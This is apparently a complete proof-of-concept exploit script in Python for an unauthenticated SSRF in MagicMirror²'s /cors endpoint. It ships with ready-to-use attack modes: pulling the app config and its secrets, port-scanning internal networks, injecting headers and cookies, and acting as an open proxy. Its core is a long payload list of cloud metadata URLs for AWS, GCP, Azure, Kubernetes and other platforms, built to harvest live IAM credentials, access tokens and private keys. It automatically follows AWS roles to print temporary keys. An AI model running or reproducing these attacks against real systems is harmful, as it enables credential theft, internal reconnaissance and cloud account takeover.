#!/usr/bin/env python3 import sys import json import argparse import urllib.request import urllib.error import urllib.parse from concurrent.futures import ThreadPoolExecutor, as_completed R = "\033[91m"; G = "\033[92m"; Y = "\033[93m" C = "\033[96m"; B = "\033[1m"; X = "\033[0m" W = "\033[97m" BANNER = f"""{W}{B} ██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗ ██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║ ██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║ ██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║ ╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝ {X} {Y}MagicMirror² <= v2.35.0 — Unauthenticated SSRF via /cors endpoint{X} {Y}Author: Astaruf | https://nstsec.com{X} """ SERVICES = { 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 53: "DNS", 80: "HTTP", 443: "HTTPS", 1433: "MSSQL", 2375: "Docker API (!)", 2376: "Docker TLS API (!)", 3000: "Grafana/Node", 3306: "MySQL", 4243: "Docker", 5000: "Flask/Registry", 5432: "PostgreSQL", 5672: "RabbitMQ", 6379: "Redis (!)", 7001: "WebLogic", 8000: "HTTP-alt", 8080: "HTTP-alt", 8443: "HTTPS-alt", 8888: "Jupyter (!)", 9000: "Portainer/PHP-FPM", 9090: "Prometheus", 9200: "Elasticsearch (!)", 9300: "Elasticsearch", 27017: "MongoDB (!)" } DEFAULT_PORTS = sorted(SERVICES.keys()) def ssrf_fetch(proxy_base, url, inject_headers=None, timeout=2.0): endpoint = f"{proxy_base}?url={url}" if inject_headers: h = ",".join(f"{k}:{urllib.parse.quote(str(v))}" for k, v in inject_headers.items()) endpoint = f"{proxy_base}?sendheaders={h}&url={url}" try: with urllib.request.urlopen(endpoint, timeout=timeout) as r: body = r.read().decode("utf-8", errors="replace") try: if "error" in json.loads(body): return None, None except Exception: pass return r.status, body except urllib.error.HTTPError as e: return e.code, None except Exception: return None, None def section(title): print(f"\n{B}{C} {title}{X}") def hit(msg): print(f" {G}{B}[+]{X} {msg}") def info(msg): print(f" {C}[*]{X} {msg}") def warn(msg): print(f" {Y}[!]{X} {msg}") def fail(msg): print(f" {R}[-]{X} {msg}") def req(url): print(f" {Y}>> GET {url}{X}") def resp(body): print(f" {G}<< {body[:120].strip()}{X}") def _get_proxy(args): return f"{args.scheme}://{args.host}:{args.port}/cors" def _inline_check(proxy, args): base = f"{args.scheme}://{args.host}:{args.port}" info("Verifying target reachability ...") try: with urllib.request.urlopen(f"{base}/version", timeout=3) as r: version = r.read().decode().strip() hit(f"Target reachable, MagicMirror {B}{version}{X}") except Exception as e: fail(f"Cannot reach target: {e}") sys.exit(1) loopback = f"http://127.0.0.1:{args.port}/version" info("Confirming SSRF via loopback ...") req(f"{args.base}/cors?url={loopback}") status, body = ssrf_fetch(proxy, loopback, timeout=3) if body and body.strip(): hit(f"SSRF {B}{R}CONFIRMED{X}, server fetched internal resource on our behalf") resp(body.strip()) else: fail("SSRF not exploitable, endpoint may be patched or unreachable") sys.exit(1) def check(args): section("CHECK, Target reachability and SSRF confirmation") proxy = _get_proxy(args) _inline_check(proxy, args) return proxy def exfil_config(proxy, args): section("CONFIG EXFILTRATION, Full config via SSRF loopback") _inline_check(proxy, args) url = f"http://127.0.0.1:{args.port}/config" info("Fetching /config through the SSRF proxy ...") req(f"{args.base}/cors?url={url}") _, body = ssrf_fetch(proxy, url) if not body: warn("Could not retrieve config") return try: cfg = json.loads(body) except Exception: warn("Response is not valid JSON") return hit(f"Config retrieved, {len(body)} bytes") info(f"address : {cfg.get('address')}") info(f"port : {cfg.get('port')}") whitelist = cfg.get("ipWhitelist", []) info(f"ipWhitelist: {whitelist if whitelist else f'{R}{B}[] open to all IPs{X}'}") secrets = [] for mod in cfg.get("modules", []): name = mod.get("module", "?") conf = mod.get("config", {}) _hunt(name, conf, secrets) if secrets: print(f"\n {R}{B}SECRETS FOUND:{X}") for module, key, val in secrets: print(f" {B}[{module}]{X} {key} = {R}{B}{val}{X}") else: warn("No secrets in default config (add weather/calendar API keys to see them)") if args.verbose: print(f"\n{C}{json.dumps(cfg, indent=2)}{X}") def _hunt(name, obj, out, path=""): if not isinstance(obj, dict): return keywords = {"key", "token", "secret", "password", "pass", "apikey", "auth", "credential"} for k, v in obj.items(): full = f"{path}.{k}" if path else k if any(kw in k.lower() for kw in keywords) and isinstance(v, (str, int)) and v: out.append((name, full, v)) elif isinstance(v, dict): _hunt(name, v, out, full) elif isinstance(v, list): for i, item in enumerate(v): _hunt(name, item, out, f"{full}[{i}]") def port_scan(proxy, args): section("PORT SCAN, Internal network enumeration via SSRF") _inline_check(proxy, args) hosts = [h.strip() for h in args.port_scan.split(",")] ports = _parse_ports(args.ports) port_label = "all 65535" if args.ports == "-" else str(len(ports)) total = len(hosts) * len(ports) info(f"Scanning {len(hosts)} host(s) x {port_label} port(s) = {total} probes [threads={args.threads}]") info(f"Hosts : {', '.join(hosts)}") info(f"Ports : {port_label}") tasks = [(h, p) for h in hosts for p in ports] open_ports = [] with ThreadPoolExecutor(max_workers=args.threads) as ex: futures = {ex.submit(_probe, proxy, h, p, args.timeout): (h, p) for h, p in tasks} for fut in as_completed(futures): result = fut.result() if result: open_ports.append(result) h, p, snippet = result svc = SERVICES.get(p, "unknown") marker = f"{R}{B}(!){X}" if p in (2375, 6379, 8888, 9200, 27017) else "" print(f" {G}{B}OPEN{X} {B}{h}:{p}{X} [{svc}] {marker} {snippet[:60]}") print() if open_ports: hit(f"{len(open_ports)} open port(s) found across {len(hosts)} host(s)") else: warn("No open ports found (isolated environment or all filtered)") def _probe(proxy, host, port, timeout): _, body = ssrf_fetch(proxy, f"http://{host}:{port}/", timeout=timeout) if body is not None: return (host, port, body.replace("\n", " ").strip()) return None def _parse_ports(spec): if spec.strip() == "-": return list(range(0, 65536)) ports = [] for part in spec.split(","): part = part.strip() if "-" in part: a, b = part.split("-", 1) ports.extend(range(int(a), int(b) + 1)) else: ports.append(int(part)) return sorted(set(ports)) def header_injection(proxy, args): section("HEADER INJECTION, Outbound and inbound header abuse") _inline_check(proxy, args) info("Part A: injecting arbitrary headers into outbound requests via sendheaders") info("Using a public echo service to confirm the headers are sent by the server.\n") injected = {"X-Injected-By": "SSRF-PoC", "Authorization": "Bearer DEMO_TOKEN"} url = "https://httpbin.org/headers" req(f"{args.base}/cors?sendheaders=X-Injected-By:SSRF-PoC,Authorization:Bearer%20DEMO_TOKEN&url={url}") _, body = ssrf_fetch(proxy, url, inject_headers=injected, timeout=5) if body: try: data = json.loads(body) seen = data.get("headers", {}) for k in injected: if k in seen: hit(f"Header {B}{k}: {seen[k]}{X} confirmed in outbound request") else: warn(f"Header {k} not found in echo response") except Exception: hit(f"Response received ({len(body)} bytes), headers likely injected") resp(body) else: warn("Could not reach echo service (no internet access?)") print() info("Part B: forwarding response headers to the browser via expectedheaders") info("A malicious server can inject Set-Cookie to hijack sessions.\n") cookie_url = "https://httpbin.org/response-headers?Set-Cookie=session%3Dhijacked%3BHttpOnly" full_url = f"{args.scheme}://{args.host}:{args.port}/cors?expectedheaders=Set-Cookie&url={cookie_url}" req(f"{args.base}/cors?expectedheaders=Set-Cookie&url={cookie_url}") try: with urllib.request.urlopen(full_url, timeout=5) as r: cookie_header = r.headers.get("Set-Cookie") if cookie_header: hit(f"Response header {B}Set-Cookie{X} forwarded to browser: {R}{B}{cookie_header}{X}") hit("Browser receives this cookie as if it originated from the MagicMirror domain") else: warn("Set-Cookie not found in forwarded headers") except Exception as e: warn(f"Could not test response header forwarding: {e}") def cloud_metadata(proxy, args): section("CLOUD METADATA, Instance credential and identity theft via SSRF") _inline_check(proxy, args) PAYLOADS = [ ("AWS", "http://169.254.169.254/latest/meta-data/", None, "Root metadata index", False), ("AWS", "http://169.254.169.254/latest/meta-data/instance-id", None, "Instance ID", False), ("AWS", "http://169.254.169.254/latest/meta-data/ami-id", None, "AMI ID", False), ("AWS", "http://169.254.169.254/latest/meta-data/local-hostname", None, "Internal hostname", False), ("AWS", "http://169.254.169.254/latest/meta-data/local-ipv4", None, "Private IP", False), ("AWS", "http://169.254.169.254/latest/meta-data/public-ipv4", None, "Public IP", False), ("AWS", "http://169.254.169.254/latest/meta-data/public-hostname", None, "Public hostname", False), ("AWS", "http://169.254.169.254/latest/meta-data/placement/region", None, "Region", False), ("AWS", "http://169.254.169.254/latest/meta-data/placement/availability-zone", None, "Availability zone", False), ("AWS", "http://169.254.169.254/latest/meta-data/security-groups", None, "Security groups", False), ("AWS", "http://169.254.169.254/latest/meta-data/iam/info", None, "IAM instance profile info", False), ("AWS", "http://169.254.169.254/latest/meta-data/iam/security-credentials/", None, "IAM role names (enumerate first, then fetch each role)", True), ("AWS", "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/", None, "EC2 instance base credentials (used by SSM/CloudWatch agents, distinct from IAM role)", True), ("AWS", "http://169.254.169.254/latest/user-data", None, "User-data script (often contains secrets and bootstrap tokens)", True), ("AWS", "http://169.254.169.254/latest/dynamic/instance-identity/document", None, "Instance identity document (signed JSON, account ID, region, etc.)", False), ("AWS", "http://169.254.169.254/latest/dynamic/instance-identity/signature", None, "Instance identity signature", False), ("AWS", "http://169.254.169.254/latest/api/token", None, "IMDSv2 token endpoint (PUT only, 405 confirms IMDSv2 enforced)", False), ("AWS/ECS", "http://169.254.170.2/v2/credentials", None, "ECS task IAM credentials (if AWS_CONTAINER_CREDENTIALS_RELATIVE_URI is set)", True), ("GCP", "http://metadata.google.internal/computeMetadata/v1/", {"Metadata-Flavor": "Google"}, "Root metadata index", False), ("GCP", "http://169.254.169.254/computeMetadata/v1/", {"Metadata-Flavor": "Google"}, "Root metadata (IP fallback)", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/project/project-id", {"Metadata-Flavor": "Google"}, "GCP project ID", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id", {"Metadata-Flavor": "Google"}, "GCP numeric project ID", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/name", {"Metadata-Flavor": "Google"}, "VM instance name", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/zone", {"Metadata-Flavor": "Google"}, "Instance zone", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/hostname", {"Metadata-Flavor": "Google"}, "Instance hostname", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip", {"Metadata-Flavor": "Google"}, "External IP", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/", {"Metadata-Flavor": "Google"}, "Service account list", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email", {"Metadata-Flavor": "Google"}, "Default service account email", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes", {"Metadata-Flavor": "Google"}, "Default service account OAuth2 scopes", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", {"Metadata-Flavor": "Google"}, "OAuth2 access token (LIVE credential)", True), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/attributes/", {"Metadata-Flavor": "Google"}, "Instance custom attributes (may contain secrets)", True), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/attributes/ssh-keys", {"Metadata-Flavor": "Google"}, "SSH public keys configured on the instance", False), ("GCP", "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script", {"Metadata-Flavor": "Google"}, "Startup script (often contains secrets)", True), ("Azure", "http://169.254.169.254/metadata/instance?api-version=2021-02-01", {"Metadata": "true"}, "Full instance metadata (JSON)", False), ("Azure", "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01", {"Metadata": "true"}, "Compute metadata (subscription, resource group, VM name)", False), ("Azure", "http://169.254.169.254/metadata/instance/compute/subscriptionId?api-version=2021-02-01&format=text", {"Metadata": "true"}, "Azure subscription ID", False), ("Azure", "http://169.254.169.254/metadata/instance/compute/resourceGroupName?api-version=2021-02-01&format=text", {"Metadata": "true"}, "Resource group name", False), ("Azure", "http://169.254.169.254/metadata/instance/compute/vmId?api-version=2021-02-01&format=text", {"Metadata": "true"}, "VM unique ID", False), ("Azure", "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/privateIpAddress?api-version=2021-02-01&format=text", {"Metadata": "true"}, "Private IP address", False), ("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/", {"Metadata": "true"}, "Managed Identity access token for Azure Resource Manager (LIVE credential)", True), ("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net", {"Metadata": "true"}, "Managed Identity token for Azure Key Vault (LIVE credential)", True), ("Azure", "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/", {"Metadata": "true"}, "Managed Identity token for Azure Storage (LIVE credential)", True), ("Azure", "http://169.254.169.254/metadata/attested/document?api-version=2020-09-01", {"Metadata": "true"}, "Attested data and instance identity document", False), ("OCI", "http://169.254.169.254/opc/v1/instance/", None, "OCI instance metadata (v1, no auth)", False), ("OCI", "http://169.254.169.254/opc/v1/instance/id", None, "OCI instance OCID", False), ("OCI", "http://169.254.169.254/opc/v1/instance/region", None, "OCI region identifier", False), ("OCI", "http://169.254.169.254/opc/v1/instance/metadata/", None, "OCI user-defined metadata", True), ("OCI", "http://169.254.169.254/opc/v2/instance/", {"Authorization": "Bearer Oracle"}, "OCI instance metadata (v2, requires header)", False), ("OCI", "http://169.254.169.254/opc/v1/identity/cert.pem", None, "OCI instance certificate", False), ("OCI", "http://169.254.169.254/opc/v1/identity/key.pem", None, "OCI instance private key (!)", True), ("DigitalOcean", "http://169.254.169.254/metadata/v1/", None, "Root metadata", False), ("DigitalOcean", "http://169.254.169.254/metadata/v1/id", None, "Droplet ID", False), ("DigitalOcean", "http://169.254.169.254/metadata/v1/hostname", None, "Hostname", False), ("DigitalOcean", "http://169.254.169.254/metadata/v1/region", None, "Region slug", False), ("DigitalOcean", "http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address", None, "Public IPv4", False), ("DigitalOcean", "http://169.254.169.254/metadata/v1/user-data", None, "User-data (often contains secrets)", True), ("Alibaba", "http://100.100.100.200/latest/meta-data/", None, "Root metadata index (different IP, 100.100.100.200)", False), ("Alibaba", "http://100.100.100.200/latest/meta-data/instance-id", None, "ECS instance ID", False), ("Alibaba", "http://100.100.100.200/latest/meta-data/hostname", None, "Hostname", False), ("Alibaba", "http://100.100.100.200/latest/meta-data/region-id", None, "Region", False), ("Alibaba", "http://100.100.100.200/latest/meta-data/ram/security-credentials/", None, "RAM role names (then fetch each for STS credentials)", True), ("Alibaba", "http://100.100.100.200/latest/user-data", None, "User-data script", True), ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata", None, "Full metadata (YAML)", False), ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/instance-id", None, "Instance ID", False), ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/hostname", None, "Hostname", False), ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/region", None, "Region", False), ("Hetzner", "http://169.254.169.254/hetzner/v1/metadata/user-data", None, "User-data", True), ("IBM", "http://169.254.169.254/metadata/v1/instance", {"Metadata-Flavor": "ibm"}, "IBM VPC instance metadata", False), ("IBM", "http://169.254.169.254/latest/meta-data/instance-id", None, "IBM Classic instance ID (AWS-compatible endpoint)", False), ("K8s", "https://kubernetes.default.svc/api/v1/secrets", None, "Kubernetes secrets (requires in-cluster service account token)", True), ("K8s", "https://kubernetes.default.svc/api/v1/namespaces/default/secrets", None, "K8s secrets in default namespace", True), ("K8s", "http://127.0.0.1:10255/pods", None, "Kubelet read-only API, running pods list (no auth)", False), ("K8s", "http://127.0.0.1:10255/stats/summary", None, "Kubelet read-only stats", False), ("K8s", "http://127.0.0.1:8001/api/v1/secrets", None, "kubectl proxy (if running on localhost)", True), ("K8s", "http://127.0.0.1:2376/containers/json", None, "Docker API, container list (if socket is TCP)", False), ("Rancher", "http://169.254.169.254/2009-04-04/meta-data/", None, "Rancher metadata (AWS-compatible endpoint)", False), ("Rancher", "http://rancher-metadata/2015-12-19/", None, "Rancher metadata service (hostname resolution)", False), ("Equinix", "https://metadata.platformequinix.com/metadata", {"X-Metadata-Token": "fake"}, "Equinix Metal metadata (returns 401/200 to confirm service)", False), ] providers_hit = {} aws_role_found = None for provider, url, headers, desc, sensitive in PAYLOADS: status, body = ssrf_fetch(proxy, url, inject_headers=headers, timeout=args.timeout) label = f"[{provider}]" prefix = f" {B}{C}{label:<14}{X}" if body and body.strip(): snippet = body.strip().replace("\n", " ") display = ( f"{R}{B}*** REDACTED, use --verbose to print ***{X}" if sensitive and not args.verbose else snippet[:120] ) print(f"{prefix} {G}{B}HIT{X} {desc}") print(f" {Y}>>{X} {url}") print(f" {G}<<{X} {display}") providers_hit.setdefault(provider, []).append((url, desc, body)) if provider == "AWS" and "security-credentials/" in url and body.strip(): role = body.strip().splitlines()[0] if role and "/" not in role: aws_role_found = role else: if args.verbose: print(f"{prefix} {R}miss{X} {desc}, {url}") if aws_role_found: cred_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{aws_role_found}" info(f"Auto-following IAM role: {B}{aws_role_found}{X}") req(f"{args.base}/cors?url={cred_url}") _, cred_body = ssrf_fetch(proxy, cred_url, timeout=args.timeout) if cred_body: try: creds = json.loads(cred_body) print(f"\n {R}{B}AWS TEMPORARY CREDENTIALS RETRIEVED:{X}") for k in ("AccessKeyId", "SecretAccessKey", "Token", "Expiration"): if k in creds: print(f" {B}{k:<20}{X} {R}{B}{creds[k]}{X}") except Exception: resp(cred_body) print() if providers_hit: hit(f"Cloud metadata reachable on {len(providers_hit)} provider(s): " f"{', '.join(providers_hit.keys())}") for provider, results in providers_hit.items(): sensitive_hits = [(u, d, b) for u, d, b in results if any(kw in d.lower() for kw in ("token", "credential", "secret", "key", "password", "user-data", "startup", "pem"))] if sensitive_hits: print(f"\n {R}{B}HIGH-VALUE ENDPOINTS ({provider}):{X}") for u, d, b in sensitive_hits: print(f" {B}{d}{X}") print(f" {Y}>> {u}{X}") if args.verbose: print(f" {G}<< {b.strip()[:200]}{X}") else: warn("No cloud metadata endpoints responded, likely not a cloud instance " "(or metadata service is firewalled)") info("Tip: on Raspberry Pi and bare-metal deployments this is expected") def open_proxy(proxy, args): section(f"OPEN PROXY, Fetching {args.open_proxy_url} via vulnerable server") _inline_check(proxy, args) info(f"Asking the server to fetch: {args.open_proxy_url}") req(f"{args.base}/cors?url={args.open_proxy_url}") status, body = ssrf_fetch(proxy, args.open_proxy_url, timeout=args.timeout) if body is None: fail("No response, server may have blocked the request or the URL is unreachable from its network") return hit(f"HTTP {status}, {len(body)} bytes received from server") if args.verbose: print(f"\n{C}{body}{X}") else: preview = body[:1000].strip() print(f"\n{C}{preview}{X}") if len(body) > 1000: warn(f"Output truncated, use --verbose to see the full response ({len(body)} bytes)") def parse_args(): p = argparse.ArgumentParser( prog="poc.py", description="CVE-2026-42281, MagicMirror² <= v2.35.0 Unauthenticated SSRF via /cors endpoint", formatter_class=argparse.RawTextHelpFormatter, epilog=""" examples: python3 poc.py -t http://192.168.1.10:8080 --check python3 poc.py -t http://192.168.1.10:8080 --config python3 poc.py -t http://192.168.1.10:8080 --config --verbose python3 poc.py -t http://192.168.1.10:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306 python3 poc.py -t http://192.168.1.10:8080 --port-scan 10.0.0.1,10.0.0.2 -p 0-50 python3 poc.py -t http://192.168.1.10:8080 --port-scan 10.0.0.1,10.0.0.2 -p - python3 poc.py -t http://192.168.1.10:8080 --headers python3 poc.py -t http://192.168.1.10:8080 --cloud python3 poc.py -t http://192.168.1.10:8080 --cloud --verbose python3 poc.py -t http://192.168.1.10:8080 --open-proxy https://internal.corp/api """ ) p.add_argument("-t", "--target", required=True, metavar="URL", help="Target URL, e.g. http://192.168.1.10:8080 or https://target.host\n" "Port defaults to 80 (http) or 443 (https) if omitted.") p.add_argument("--timeout", default=2.0, metavar="SEC", type=float, help="Per-request timeout in seconds (default: 2.0)") p.add_argument("--threads", default=30, metavar="N", type=int, help="Threads for port scan (default: 30)") p.add_argument("--verbose", action="store_true", help="Print full JSON responses") attacks = p.add_argument_group("attacks (at least one required)") attacks.add_argument("--check", action="store_true", help="Verify SSRF is exploitable") attacks.add_argument("--config", action="store_true", help="Exfiltrate full application config") attacks.add_argument("--port-scan", metavar="HOSTS", help="Scan comma-separated hosts via SSRF, e.g. 192.168.0.1,10.10.10.1") attacks.add_argument("--headers", action="store_true", help="Demonstrate header injection (in/out)") attacks.add_argument("--cloud", action="store_true", help="Probe cloud instance metadata services (AWS/GCP/Azure/OCI/DO/Alibaba/Hetzner/IBM/K8s)") attacks.add_argument("--open-proxy", dest="open_proxy_url", metavar="URL", help="Use the vulnerable server as an open proxy to fetch URL") p.add_argument("-p", "--ports", metavar="SPEC", default=None, help="Port spec (required with --port-scan):\n" " 22,80,443 specific ports\n" " 0-50 range\n" " - all 65535 TCP ports") if len(sys.argv) == 1: p.print_help() sys.exit(0) return p, p.parse_args() def validate_args(p, args): raw = args.target if "://" not in raw: raw = f"http://{raw}" try: parsed = urllib.parse.urlparse(raw) scheme = parsed.scheme.lower() host = parsed.hostname port = parsed.port or (443 if scheme == "https" else 80) except Exception: p.error(f"Invalid target URL: {args.target}") if scheme not in ("http", "https"): p.error(f"Unsupported scheme '{scheme}', use http or https") if not host: p.error(f"Could not parse hostname from: {args.target}") args.scheme = scheme args.host = host args.port = port args.base = f"{scheme}://{host}:{port}" if args.ports is not None and not args.port_scan: p.error("-p / --ports requires --port-scan") if args.port_scan and args.ports is None: p.error("--port-scan requires -p (e.g. -p 22,80 | -p 0-1024 | -p -)") attack_flags = [args.check, args.config, args.port_scan, args.headers, args.cloud, args.open_proxy_url] if not any(attack_flags): p.error("at least one attack flag is required: " "--check, --config, --port-scan, --headers, --open-proxy") def main(): p, args = parse_args() validate_args(p, args) print(BANNER) other_attacks = [args.config, args.port_scan, args.headers, args.cloud, bool(args.open_proxy_url)] if args.check and not any(other_attacks): check(args) return proxy = _get_proxy(args) if args.config: exfil_config(proxy, args) if args.port_scan: port_scan(proxy, args) if args.headers: header_injection(proxy, args) if args.cloud: cloud_metadata(proxy, args) if args.open_proxy_url: open_proxy(proxy, args) if __name__ == "__main__": main()